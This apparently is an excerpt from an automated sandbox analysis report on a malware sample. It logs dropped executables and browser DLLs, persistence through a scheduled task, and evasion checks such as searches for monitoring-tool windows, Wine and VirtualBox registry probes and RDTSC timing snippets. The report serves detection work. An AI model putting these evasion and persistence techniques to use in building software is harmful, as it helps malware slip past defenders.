Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: pwiaqwpe
Source: random[1].exe.0.dr	Static PE information: section name: ivzhtbht
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name:
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: .idata
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: pwiaqwpe
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: ivzhtbht
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.18.dr	Static PE information: section name:
Source: skotes.exe.18.dr	Static PE information: section name: .idata
Source: skotes.exe.18.dr	Static PE information: section name: pwiaqwpe
Source: skotes.exe.18.dr	Static PE information: section name: ivzhtbht
Source: skotes.exe.18.dr	Static PE information: section name: .taggant
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name:
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: .idata
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name:
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: qinosobo
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: vuaywpxb
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: .taggant
Source: BY5BeYh.exe.26.dr	Static PE information: section name:
Source: BY5BeYh.exe.26.dr	Static PE information: section name: .idata
Source: BY5BeYh.exe.26.dr	Static PE information: section name:
Source: BY5BeYh.exe.26.dr	Static PE information: section name: qinosobo
Source: BY5BeYh.exe.26.dr	Static PE information: section name: vuaywpxb
Source: BY5BeYh.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B536 push ecx; ret	0_2_6C97B549
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E0D91C push ecx; ret	18_2_00E0D92F
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E01359 push es; ret	18_2_00E0135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0061D91C push ecx; ret	19_2_0061D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0061D91C push ecx; ret	20_2_0061D92F

Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.0653457562271536
Source: KJJJKFIIIJ.exe.0.dr	Static PE information: section name: entropy: 7.0653457562271536
Source: skotes.exe.18.dr	Static PE information: section name: entropy: 7.0653457562271536
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: entropy: 7.982532808725767
Source: BY5BeYh[1].exe.26.dr	Static PE information: section name: qinosobo entropy: 7.916909510427849
Source: BY5BeYh.exe.26.dr	Static PE information: section name: entropy: 7.982532808725767
Source: BY5BeYh.exe.26.dr	Static PE information: section name: qinosobo entropy: 7.917054314350987

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\KJJJKFIIIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\KJJJKFIIIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\BY5BeYh[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1012713001\BY5BeYh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9A55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13954D1 second address: 13954D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13944A3 second address: 13944A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394BEA second address: 1394C06 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFC80C0D652h 0x00000008 jnc 00007EFC80C0D646h 0x0000000e jl 00007EFC80C0D646h 0x00000014 je 00007EFC80C0D64Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C06 second address: 1394C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C12 second address: 1394C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C16 second address: 1394C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C1A second address: 1394C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC80C0D64Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C33 second address: 1394C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C37 second address: 1394C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394C3D second address: 1394C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007EFC80C37996h 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397793 second address: 139779C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397894 second address: 13978F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 nop 0x00000007 push ecx 0x00000008 sub dword ptr [ebp+122D2C72h], edi 0x0000000e pop esi 0x0000000f mov ecx, dword ptr [ebp+122D2D59h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007EFC80C37998h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 adc esi, 7F23BCD7h 0x00000037 call 00007EFC80C37999h 0x0000003c jmp 00007EFC80C3799Dh 0x00000041 push eax 0x00000042 push edi 0x00000043 jc 00007EFC80C3799Ch 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13978F5 second address: 1397924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push esi 0x0000000a push eax 0x0000000b jmp 00007EFC80C0D64Dh 0x00000010 pop eax 0x00000011 pop esi 0x00000012 mov eax, dword ptr [eax] 0x00000014 push ecx 0x00000015 push ecx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop ecx 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jc 00007EFC80C0D646h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397924 second address: 1397989 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 mov dx, 8EAAh 0x0000000c push 00000003h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007EFC80C37998h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jmp 00007EFC80C379A7h 0x0000002d push 00000000h 0x0000002f mov ecx, edx 0x00000031 push 00000003h 0x00000033 cld 0x00000034 or dword ptr [ebp+122D30F7h], edi 0x0000003a push C6ED2E0Ah 0x0000003f jc 00007EFC80C379B9h 0x00000045 push eax 0x00000046 push edx 0x00000047 jne 00007EFC80C37996h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397989 second address: 13979EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D657h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 06ED2E0Ah 0x00000010 cmc 0x00000011 lea ebx, dword ptr [ebp+1244B5D0h] 0x00000017 jmp 00007EFC80C0D659h 0x0000001c ja 00007EFC80C0D64Bh 0x00000022 push edi 0x00000023 mov dx, di 0x00000026 pop edx 0x00000027 xchg eax, ebx 0x00000028 push ecx 0x00000029 jno 00007EFC80C0D648h 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jbe 00007EFC80C0D646h 0x0000003a push edi 0x0000003b pop edi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13979EE second address: 13979F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397A6C second address: 1397ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b xor dword ptr [ebp+122D3B2Ch], ecx 0x00000011 sub ecx, 1BC8C254h 0x00000017 push 00000000h 0x00000019 xor si, B078h 0x0000001e clc 0x0000001f call 00007EFC80C0D649h 0x00000024 jmp 00007EFC80C0D64Eh 0x00000029 push eax 0x0000002a pushad 0x0000002b jmp 00007EFC80C0D653h 0x00000030 pushad 0x00000031 jmp 00007EFC80C0D651h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397ACB second address: 1397AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007EFC80C379A5h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397AFE second address: 1397B42 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC80C0D64Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+122D27E4h], edx 0x00000011 push 00000003h 0x00000013 movsx ecx, di 0x00000016 push 00000000h 0x00000018 sbb dh, 00000033h 0x0000001b push 00000003h 0x0000001d sub dword ptr [ebp+122D1E92h], eax 0x00000023 push CCED004Bh 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007EFC80C0D654h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397B42 second address: 1397B7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0CED004Bh 0x00000010 push ebx 0x00000011 mov dx, 6000h 0x00000015 pop esi 0x00000016 lea ebx, dword ptr [ebp+1244B5DBh] 0x0000001c mov dword ptr [ebp+122D1E92h], esi 0x00000022 xor dx, 53FFh 0x00000027 push eax 0x00000028 push ecx 0x00000029 jnp 00007EFC80C3799Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B92EE second address: 13B931C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007EFC80C0D654h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B931C second address: 13B9328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jng 00007EFC80C37996h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9328 second address: 13B9335 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B94BF second address: 13B94D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFC80C3799Eh 0x0000000a jng 00007EFC80C37996h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B94D1 second address: 13B94DB instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFC80C0D64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B94DB second address: 13B94F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007EFC80C3799Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9F52 second address: 13B9F5B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AC70E second address: 13AC722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jo 00007EFC80C3799Eh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA0CC second address: 13BA0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA0D0 second address: 13BA0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA661 second address: 13BA66D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007EFC80C0D646h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA66D second address: 13BA671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA671 second address: 13BA684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007EFC80C0D646h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA981 second address: 13BA987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BADD6 second address: 13BADE6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007EFC80C0D646h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDEDD second address: 13BDEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE075 second address: 13BE096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC80C0D654h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE096 second address: 13BE0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C379A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE0AF second address: 13BE0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BC920 second address: 13BC92A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC80C3799Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD002 second address: 13BD007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
